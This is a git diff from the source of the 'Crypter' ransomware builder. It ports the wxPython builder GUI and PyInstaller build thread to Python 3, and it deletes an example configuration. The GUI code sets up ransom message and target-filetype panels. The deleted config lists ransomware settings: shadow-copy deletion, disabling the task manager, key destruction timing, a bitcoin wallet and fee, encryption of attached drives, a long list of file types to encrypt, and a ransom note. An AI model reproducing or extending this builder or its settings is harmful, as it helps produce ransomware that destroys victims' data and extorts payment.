bSizer20321312111.Add( self.SecondaryFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer20321312111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321312111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.SecondaryFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 255, 255, 255 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.SecondaryFontColourPicker.SetToolTipString( u"The secondary font colour of the Crypter GUI" ) - + self.SecondaryFontColourPicker.SetToolTip( u"The secondary font colour of the Crypter GUI" ) + bSizer20321312111.Add( self.SecondaryFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer4122111.Add( bSizer20321312111, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer4122111, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer12, 0, wx.EXPAND, 1 ) - + RansomMessageSizer = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Ransom Message" ), wx.VERTICAL ) - + self.RansomMessageTextCtrl = wx.TextCtrl( RansomMessageSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE ) - self.RansomMessageTextCtrl.SetToolTipString( u"The ransom message to display in the Crypter GUI. Leave this text box blank to use the default ransom message." ) - + self.RansomMessageTextCtrl.SetToolTip( u"The ransom message to display in the Crypter GUI. Leave this text box blank to use the default ransom message." ) + RansomMessageSizer.Add( self.RansomMessageTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer39.Add( RansomMessageSizer, 1, wx.EXPAND, 10 ) - - + + RansomwareSettingsSizer.Add( bSizer39, 1, wx.EXPAND, 5 ) - - + + self.m_panel4.SetSizer( RansomwareSettingsSizer ) self.m_panel4.Layout() RansomwareSettingsSizer.Fit( self.m_panel4 ) bSizer12.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) - - + + bSizer2.Add( bSizer12, 2, wx.EXPAND, 5 ) - + self.m_staticline13 = wx.StaticLine( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer2.Add( self.m_staticline13, 0, wx.EXPAND |wx.ALL, 5 ) - + bSizer50 = wx.BoxSizer( wx.HORIZONTAL ) - + self.SaveConfigurationLabel = wx.StaticText( self.ConfigScrollableWindow, wx.ID_ANY, u"Save configuration", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SaveConfigurationLabel.Wrap( -1 ) + self.SaveConfigurationLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer50.Add( self.SaveConfigurationLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.SaveFilePicker = wx.FilePickerCtrl( self.ConfigScrollableWindow, wx.ID_ANY, wx.EmptyString, u"Save Configuration", u"*.*", wx.DefaultPosition, wx.DefaultSize, wx.FLP_OVERWRITE_PROMPT|wx.FLP_SAVE ) - self.SaveFilePicker.SetToolTipString( u"Save your configuration to a configuration file" ) - + self.SaveFilePicker.SetToolTip( u"Save your configuration to a configuration file" ) + bSizer50.Add( self.SaveFilePicker, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer2.Add( bSizer50, 0, wx.EXPAND, 5 ) - - + + self.ConfigScrollableWindow.SetSizer( bSizer2 ) self.ConfigScrollableWindow.Layout() bSizer2.Fit( self.ConfigScrollableWindow ) bSizer1.Add( self.ConfigScrollableWindow, 2, wx.ALL|wx.EXPAND, 5 ) - + self.m_staticline21 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline21, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_panel4112 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel4112.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer172 = wx.BoxSizer( wx.VERTICAL ) - + self.BuildProgressGauge = wx.Gauge( self.m_panel4112, wx.ID_ANY, 99, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) - self.BuildProgressGauge.SetValue( 0 ) + self.BuildProgressGauge.SetValue( 0 ) bSizer172.Add( self.BuildProgressGauge, 1, wx.ALL|wx.EXPAND, 5 ) - - + + self.m_panel4112.SetSizer( bSizer172 ) self.m_panel4112.Layout() bSizer172.Fit( self.m_panel4112 ) bSizer1.Add( self.m_panel4112, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_staticline211 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline211, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_panel411 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel411.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer17 = wx.BoxSizer( wx.VERTICAL ) - + ConsoleBoxSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel411, wx.ID_ANY, u"Console" ), wx.VERTICAL ) - + self.ConsoleTextCtrl = wx.TextCtrl( ConsoleBoxSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.TE_MULTILINE|wx.TE_READONLY ) self.ConsoleTextCtrl.SetForegroundColour( wx.Colour( 24, 249, 0 ) ) self.ConsoleTextCtrl.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOTEXT ) ) - + ConsoleBoxSizer.Add( self.ConsoleTextCtrl, 1, wx.ALL|wx.EXPAND, 4 ) - - + + bSizer17.Add( ConsoleBoxSizer, 1, wx.EXPAND, 5 ) - - + + self.m_panel411.SetSizer( bSizer17 ) self.m_panel411.Layout() bSizer17.Fit( self.m_panel411 ) bSizer1.Add( self.m_panel411, 1, wx.EXPAND |wx.ALL, 5 ) - + self.m_staticline1 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline1, 0, wx.EXPAND |wx.ALL, 5 ) - - self.m_panel4111 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.DOUBLE_BORDER|wx.TAB_TRAVERSAL ) + + self.m_panel4111 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel4111.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer171 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BuildButton = wx.Button( self.m_panel4111, wx.ID_ANY, u"BUILD", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BuildButton.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial" ) ) - self.BuildButton.SetToolTipString( u"Build Crypter to the specified configuration" ) - + self.BuildButton.SetToolTip( u"Build Crypter to the specified configuration" ) + bSizer171.Add( self.BuildButton, 1, wx.ALL|wx.EXPAND, 5 ) - + self.OpenContainingFolderButton = wx.Button( self.m_panel4111, wx.ID_ANY, u"Open Containing Folder", wx.DefaultPosition, wx.DefaultSize, 0 ) - self.OpenContainingFolderButton.SetToolTipString( u"Open the folder containing the produced Crypter executable" ) - + self.OpenContainingFolderButton.SetToolTip( u"Open the folder containing the produced Crypter executable" ) + bSizer171.Add( self.OpenContainingFolderButton, 0, wx.ALL, 5 ) - - + + self.m_panel4111.SetSizer( bSizer171 ) self.m_panel4111.Layout() bSizer171.Fit( self.m_panel4111 ) bSizer1.Add( self.m_panel4111, 0, wx.ALL|wx.EXPAND, 10 ) - - + + self.SetSizer( bSizer1 ) self.Layout() - self.StatusBar = self.CreateStatusBar( 1, wx.ST_SIZEGRIP, wx.ID_ANY ) - + self.StatusBar = self.CreateStatusBar( 1, wx.STB_SIZEGRIP, wx.ID_ANY ) + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class EncryptFiletypesDialog ########################################################################### class EncryptFiletypesDialog ( wx.Dialog ): - + def __init__( self, parent ): wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encryptable Filetypes", pos = wx.DefaultPosition, size = wx.Size( 400,500 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MAXIMIZE_BOX|wx.MINIMIZE_BOX ) - - self.SetSizeHintsSz( wx.Size( -1,-1 ), wx.DefaultSize ) + + self.SetSizeHints( wx.Size( -1,-1 ), wx.DefaultSize ) self.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial" ) ) - + bSizer30 = wx.BoxSizer( wx.VERTICAL ) - - bSizer30.SetMinSize( wx.Size( 400,500 ) ) + + bSizer30.SetMinSize( wx.Size( 400,500 ) ) self.m_staticText15 = wx.StaticText( self, wx.ID_ANY, u"Select the filetypes to encrypt", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText15.Wrap( -1 ) + self.m_staticText15.SetFont( wx.Font( 10, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Arial" ) ) - + bSizer30.Add( self.m_staticText15, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 20 ) - + self.SelectAllCheckbox = wx.CheckBox( self, wx.ID_ANY, u"Select All", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SelectAllCheckbox.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer30.Add( self.SelectAllCheckbox, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + FiletypesSizer = wx.BoxSizer( wx.VERTICAL ) - + self.m_scrolledWindow1 = wx.ScrolledWindow( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.VSCROLL ) self.m_scrolledWindow1.SetScrollRate( 5, 5 ) bSizer32 = wx.BoxSizer( wx.VERTICAL ) - + DocumentFilesSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Document Files" ), wx.VERTICAL ) - + bSizer54 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer332 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox52 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"DOCX", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox52, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox42 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"DOC", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox42, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox32 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox32, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox22 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox22, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer332, 1, wx.EXPAND, 5 ) - + bSizer331 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox51 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox51, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox41 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox41, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox31 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox31, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox21 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox21, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer331, 1, wx.EXPAND, 5 ) - + bSizer33 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox5 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox5, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox4 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox4, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox3 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox3, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox2 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox2, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer33, 1, wx.EXPAND, 5 ) - - + + DocumentFilesSizer.Add( bSizer54, 1, wx.EXPAND, 5 ) - + bSizer57 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer57.AddSpacer( ( 0, 0), 2, wx.EXPAND, 5 ) - + + + bSizer57.Add( ( 0, 0), 2, wx.EXPAND, 5 ) + self.m_checkBox50 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Select All", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_checkBox50.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer57.Add( self.m_checkBox50, 0, wx.ALL, 10 ) - - + + DocumentFilesSizer.Add( bSizer57, 0, 0, 5 ) - - + + bSizer32.Add( DocumentFilesSizer, 1, wx.EXPAND, 5 ) - + ImageFileszSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Image Files" ), wx.VERTICAL ) - - + + bSizer32.Add( ImageFileszSizer, 1, wx.EXPAND, 5 ) - + VideoFilesSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Video Files" ), wx.VERTICAL ) - - + + bSizer32.Add( VideoFilesSizer, 1, wx.EXPAND, 5 ) - - + + self.m_scrolledWindow1.SetSizer( bSizer32 ) self.m_scrolledWindow1.Layout() bSizer32.Fit( self.m_scrolledWindow1 ) FiletypesSizer.Add( self.m_scrolledWindow1, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer30.Add( FiletypesSizer, 1, wx.EXPAND, 5 ) - - + + self.SetSizer( bSizer30 ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + diff --git a/build/ExeBuilder/BuilderThread.py b/CrypterBuilder/BuilderThread.py similarity index 90% rename from build/ExeBuilder/BuilderThread.py rename to CrypterBuilder/BuilderThread.py index 2e5628a..431ea35 100644 --- a/build/ExeBuilder/BuilderThread.py +++ b/CrypterBuilder/BuilderThread.py @@ -1,5 +1,5 @@ ''' -@summary: Crypter Exe Builder: Build Thread +@summary: Crypter Builder: Build Thread @author: MLS ''' @@ -10,8 +10,7 @@ import json import subprocess from threading import Thread, Event -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher +from pubsub import pub # Import package modules from .Base import * @@ -80,11 +79,11 @@ def __console_log(self, msg=None, debug_level=0, ccode=0, timestamp=True, _class "ccode": ccode, "timestamp": timestamp } - for key, value in kwargs.iteritems(): + for key, value in kwargs.items(): update_data_dict[key] = value # Send update data - Publisher.sendMessage("update", update_data_dict) + pub.sendMessage("update", msg=update_data_dict) def validate_input(self, input_field, input_value): @@ -204,8 +203,9 @@ def run(self): # Build failed except BuildFailure as be: self.__build_error = True - self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) - + # self.__console_log(msg=be[0]["message"], ccode=be[0]["ccode"]) + self.__console_log(msg=be, ccode=be.get_code()) + # Build thread finished. Log and Reset build status to prevent further console updates self.__in_progress = False self.__console_log("Build process thread finished", debug_level=3) @@ -228,33 +228,34 @@ def __move_binary(self): # Check Binary was produced if not os.path.isfile("dist\\Main.exe"): - raise BuildFailure({ - "message": "PyInstaller produced binary was not found. The PyInstaller build probably failed." - " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", - "ccode": ERROR_FILE_NOT_FOUND} + raise BuildFailure( + ERROR_FILE_NOT_FOUND, + "PyInstaller produced binary was not found. The PyInstaller build probably failed." + " Check The PyInstaller output for more details, and ensure a valid PyInstaller install exists.", ) # Otherwise move the file to the correct location else: # Make bin dir if it doesn't exist - if not os.path.isdir("..\\bin"): - os.makedirs("..\\bin") + if not os.path.isdir("bin"): + os.makedirs("bin") - if os.path.isfile("..\\bin\\%s" % dest_filename): + if os.path.isfile("bin\\%s" % dest_filename): try: - os.remove("..\\bin\\%s" % dest_filename) + os.remove("bin\\%s" % dest_filename) except WindowsError: - raise BuildFailure({ - "message": "The existing binary at '..\\bin\\%s' could not be replaced with the new binary. Check that the" - " ransomware isn't already open, and that you have sufficient permissions for the" - " ..\\bin folder" % dest_filename, - "ccode": ERROR_CANNOT_WRITE}) + raise BuildFailure( + ERROR_CANNOT_WRITE, + "The existing binary at 'bin\\%s' could not be replaced with the new binary. Check that the" + " ransomware isn't already open, and that you have sufficient permissions for the" + " bin folder" % dest_filename, + ) # Move binary os.rename("dist\\Main.exe", - "..\\bin\\%s" % dest_filename) + "bin\\%s" % dest_filename) self.__binary_location = os.path.join( - os.path.abspath("..\\bin"), + os.path.abspath("bin"), dest_filename ) @@ -306,9 +307,11 @@ def __run_pyinstaller(self, spec_path): creationflags=0x08000000 # To prevent console window opening ) except WindowsError as we: - raise BuildFailure({"message":"Call to PyInstaller failed. Check that PyInstaller is installed and can be" - " found on the system path", - "ccode":ERROR_FILE_NOT_FOUND}) + raise BuildFailure( + ERROR_FILE_NOT_FOUND, + "Call to PyInstaller failed. Check that PyInstaller is installed and can be found" + " on the system path" + ) while True: # Check for stop diff --git a/build/ExeBuilder/Exceptions.py b/CrypterBuilder/Exceptions.py similarity index 67% rename from build/ExeBuilder/Exceptions.py rename to CrypterBuilder/Exceptions.py index 02131f8..82db06c 100644 --- a/build/ExeBuilder/Exceptions.py +++ b/CrypterBuilder/Exceptions.py @@ -1,5 +1,5 @@ ''' -@summary: Crypter Exe Builder: Package exceptions +@summary: Crypter Builder: Package exceptions @author: MLS ''' @@ -40,3 +40,25 @@ class BuildFailure(Exception): ''' @summary: BuildFailure: To be raised in the event of a generic Build Failure ''' + + + def __init__(self, code, message): + ''' + Constructor + :param code: + :param message: + ''' + self.__code = code + + message = "A Build failure occurred (%s): %s" % (code, message) + super(BuildFailure, self).__init__(message) + + + def get_code(self): + ''' + Gets the exception/error code + @return: + ''' + + return self.__code + diff --git a/build/ExeBuilder/Gui.py b/CrypterBuilder/Gui.py similarity index 94% rename from build/ExeBuilder/Gui.py rename to CrypterBuilder/Gui.py index c5eeea5..bd0ad2c 100644 --- a/build/ExeBuilder/Gui.py +++ b/CrypterBuilder/Gui.py @@ -10,8 +10,7 @@ import time import json import subprocess -from wx.lib.pubsub import setuparg1 -from wx.lib.pubsub import pub as Publisher +from pubsub import pub # Import package modules from .BuilderGuiAbsBase import MainFrame @@ -40,7 +39,10 @@ def __init__(self): MainFrame.__init__( self, parent=None ) self.console = Console(self.ConsoleTextCtrl) self.StatusBar.SetStatusText("Ready...") - self.SetIcon(wx.IconFromBitmap(wx.Bitmap("ExeBuilder\\static\\builder_logo.bmp", wx.BITMAP_TYPE_ANY))) + icon = wx.Icon() + icon.CopyFromBitmap(wx.Bitmap("CrypterBuilder\\Resources\\builder_logo.bmp", wx.BITMAP_TYPE_ANY)) + + self.SetIcon(icon) # Update GUI Visuals self.update_gui_visuals() @@ -62,7 +64,7 @@ def update_gui_visuals(self): # Set Logo Image self.LogoBitmap.SetBitmap( wx.Bitmap( - "ExeBuilder\\static\\builder_logo.bmp" + "CrypterBuilder\\Resources\\builder_logo.bmp" ) ) # Set debug to default level @@ -82,15 +84,7 @@ def update_config_values(self, config_dict): # Parse values # Builder Language - if "builder_language" in config_dict: - if unicode(config_dict["builder_language"]) not in SUPPORTED_LANGUAGES: - self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) - else: - self.BuilderLanguageChoice.SetString(0, config_dict["builder_language"]) - if config_dict["builder_language"] != self.language: - self.update_language(None, language=config_dict["builder_language"]) - else: - self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) + self.BuilderLanguageChoice.SetString(0, DEFAULT_LANGUAGE) # Debug Level if "debug_level" in config_dict: self.DebugLevelChoice.SetSelection( @@ -367,17 +361,17 @@ def __update_progress(self, msg): ''' # Log output message to the Console - self.console.log(debug_level=msg.data["debug_level"], - _class=msg.data["_class"], - msg=msg.data["msg"], - ccode=msg.data["ccode"], - timestamp=msg.data["timestamp"]) + self.console.log(debug_level=msg["debug_level"], + _class=msg["_class"], + msg=msg["msg"], + ccode=msg["ccode"], + timestamp=msg["timestamp"]) # CHECK FOR ERRORS # If there was a validation error, highlight culprit field label - if msg.data["ccode"] == ERROR_INVALID_DATA: + if msg["ccode"] == ERROR_INVALID_DATA: # Set input field label FG to red - label_object_name = BUILDER_CONFIG_ITEMS[msg.data["invalid_input_field"]]["label_object_name"] + label_object_name = BUILDER_CONFIG_ITEMS[msg["invalid_input_field"]]["label_object_name"] self.__set_label_colour(label_object_name, colour="red") # If build is not in progress, Reset BUILD Button and set outcome message @@ -534,7 +528,7 @@ def __start_build(self, event): # Create listeners and Launch the Build thread - Publisher.subscribe(self.__update_progress, "update") + pub.subscribe(self.__update_progress, "update") self.__builder = BuilderThread(user_input_dict) diff --git a/build/ExeBuilder/static/Template.spec b/CrypterBuilder/Resources/Template.spec similarity index 72% rename from build/ExeBuilder/static/Template.spec rename to CrypterBuilder/Resources/Template.spec index 0327e41..22e8887 100644 --- a/build/ExeBuilder/static/Template.spec +++ b/CrypterBuilder/Resources/Template.spec @@ -3,13 +3,13 @@ block_cipher=None -a = Analysis(['..\\Crypter\\Main.py'], +a = Analysis(['Crypter\\Main.py'], pathex=['.\\build'], binaries=None, - datas=[("Resources/lock.bmp", "."), - ("Resources/bitcoin.bmp", "."), - ("Resources/lock.ico", "."), - ("Resources/runtime.cfg", ".") + datas=[("CrypterBuilder/Resources/lock.bmp", "."), + ("CrypterBuilder/Resources/bitcoin.bmp", "."), + ("CrypterBuilder/Resources/lock.ico", "."), + ("CrypterBuilder/Resources/runtime.cfg", ".") ], hiddenimports=[], hookspath=[], diff --git a/build/Resources/bitcoin.bmp b/CrypterBuilder/Resources/bitcoin.bmp similarity index 100% rename from build/Resources/bitcoin.bmp rename to CrypterBuilder/Resources/bitcoin.bmp diff --git a/build/ExeBuilder/static/builder_logo.bmp b/CrypterBuilder/Resources/builder_logo.bmp similarity index 100% rename from build/ExeBuilder/static/builder_logo.bmp rename to CrypterBuilder/Resources/builder_logo.bmp diff --git a/build/Resources/lock.bmp b/CrypterBuilder/Resources/lock.bmp similarity index 100% rename from build/Resources/lock.bmp rename to CrypterBuilder/Resources/lock.bmp diff --git a/build/Resources/lock.ico b/CrypterBuilder/Resources/lock.ico similarity index 100% rename from build/Resources/lock.ico rename to CrypterBuilder/Resources/lock.ico diff --git a/build/Resources/pdf.ico b/CrypterBuilder/Resources/pdf.ico similarity index 99% rename from build/Resources/pdf.ico rename to CrypterBuilder/Resources/pdf.ico index f22a06422b458595d041c58ca71e0873061bc52b..a5bcd70c82ce29428ce4310a263ad67ece3a9552 100644 GIT binary patch delta 89 zcmccD#dfcY&6|ONk%5)Lz<>b=6c|>hGBAXJSPD?S00YB6pqK!V2FYizFfc4LV_ - - ExeBuilder - - - - - - org.python.pydev.PyDevBuilder - - - - - - org.python.pydev.pythonNature - - diff --git a/build/ExeBuilder/.pydevproject b/build/ExeBuilder/.pydevproject deleted file mode 100644 index 40e9f40..0000000 --- a/build/ExeBuilder/.pydevproject +++ /dev/null @@ -1,5 +0,0 @@ - - -Default -python 2.7 - diff --git a/build/ExeBuilder/.settings/org.eclipse.core.resources.prefs b/build/ExeBuilder/.settings/org.eclipse.core.resources.prefs deleted file mode 100644 index fd5c2e3..0000000 --- a/build/ExeBuilder/.settings/org.eclipse.core.resources.prefs +++ /dev/null @@ -1,4 +0,0 @@ -eclipse.preferences.version=1 -encoding/Base.py=utf-8 -encoding/BuilderGuiAbsBase.py=utf-8 -encoding/Gui.py=utf-8 diff --git a/build/ExeBuilder/__init__.py b/build/ExeBuilder/__init__.py deleted file mode 100644 index 280a901..0000000 --- a/build/ExeBuilder/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -''' -@summary: Crypter ExeBuilder(Package): ExeBuilder with GUI for building Crypter ransomware -@author: MLS -@version: 2.40 -''' - -# ABOUT -__author__ = "MLS" -__version__ = "2.40" -__summary__ = "Provides a GUI for building the Crypter ransomware" - -# Import package modules -from .ExeBuilder import ExeBuilder diff --git a/build/config_example.cfg b/build/config_example.cfg deleted file mode 100644 index 9733b5e..0000000 --- a/build/config_example.cfg +++ /dev/null @@ -1,210 +0,0 @@ -{ - "builder_language": "English", - "pyinstaller_aes_key": "0123456789ABCDEF", - "icon_file": "C:\\dev\\Crypter\\build\\Resources\\pdf.ico", - "open_gui_on_login": true, - "gui_title": "CRYPTER", - "upx_dir": "C:\\dev\\Crypter\\build\\upx394w", - "delete_shadow_copies": true, - "disable_task_manager": false, - "key_destruction_time": "86400", - "wallet_address": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", - "bitcoin_fee": "0.08134", - "encrypt_attached_drives": true, - "encrypt_user_home": true, - "max_file_size_to_encrypt": "512", - "filetypes_to_encrypt": [ - "dat", - "keychain", - "sdf", - "vcf", - "jpg", - "png", - "tiff", - "tif", - "gif", - "jpeg", - "jif", - "jfif", - "jp2", - "jpx", - "j2k", - "j2c", - "fpx", - "pcd", - "bmp", - "svg", - "3dm", - "3ds", - "max", - "obj", - "dds", - "psd", - "tga", - "thm", - "tif", - "tiff", - "yuv", - "ai", - "eps", - "ps", - "svg", - "indd", - "pct", - "mp4", - "avi", - "mkv", - "3g2", - "3gp", - "asf", - "flv", - "m4v", - "mov", - "mpg", - "rm", - "srt", - "swf", - "vob", - "wmv", - "doc", - "docx", - "txt", - "pdf", - "log", - "msg", - "odt", - "pages", - "rtf", - "tex", - "wpd", - "wps", - "csv", - "ged", - "key", - "pps", - "ppt", - "pptx", - "xml", - "json", - "xlsx", - "xlsm", - "xlsb", - "xls", - "mht", - "mhtml", - "htm", - "html", - "xltx", - "prn", - "dif", - "slk", - "xlam", - "xla", - "ods", - "docm", - "dotx", - "dotm", - "xps", - "ics", - "mp3", - "aif", - "iff", - "m3u", - "m4a", - "mid", - "mpa", - "wav", - "wma", - "msi", - "php", - "apk", - "app", - "bat", - "cgi", - "com", - "asp", - "aspx", - "cer", - "cfm", - "css", - "htm", - "html", - "js", - "jsp", - "rss", - "xhtml", - "c", - "class", - "cpp", - "cs", - "h", - "java", - "lua", - "pl", - "py", - "sh", - "sln", - "swift", - "vb", - "vcxproj", - "dem", - "gam", - "nes", - "rom", - "sav", - "tgz", - "zip", - "rar", - "tar", - "7z", - "cbr", - "deb", - "gz", - "pkg", - "rpm", - "zipx", - "iso", - "ged", - "accdb", - "db", - "dbf", - "mdb", - "sql", - "fnt", - "fon", - "otf", - "ttf", - "cfg", - "ini", - "prf", - "bak", - "old", - "tmp", - "torrent" - ], - "encrypted_file_extension": "crypter", - "make_gui_resizeable": true, - "always_on_top": false, - "background_colour": [ - 177, - 7, - 14 - ], - "heading_font_colour": [ - 0, - 0, - 0 - ], - "primary_font_colour": [ - 255, - 255, - 0 - ], - "secondary_font_colour": [ - 255, - 255, - 255 - ], - "ransom_message": "The important files on your computer have been encrypted with military grade AES-256 bit encryption.\n\nYour documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server.\n\nTo acquire this key, transfer the 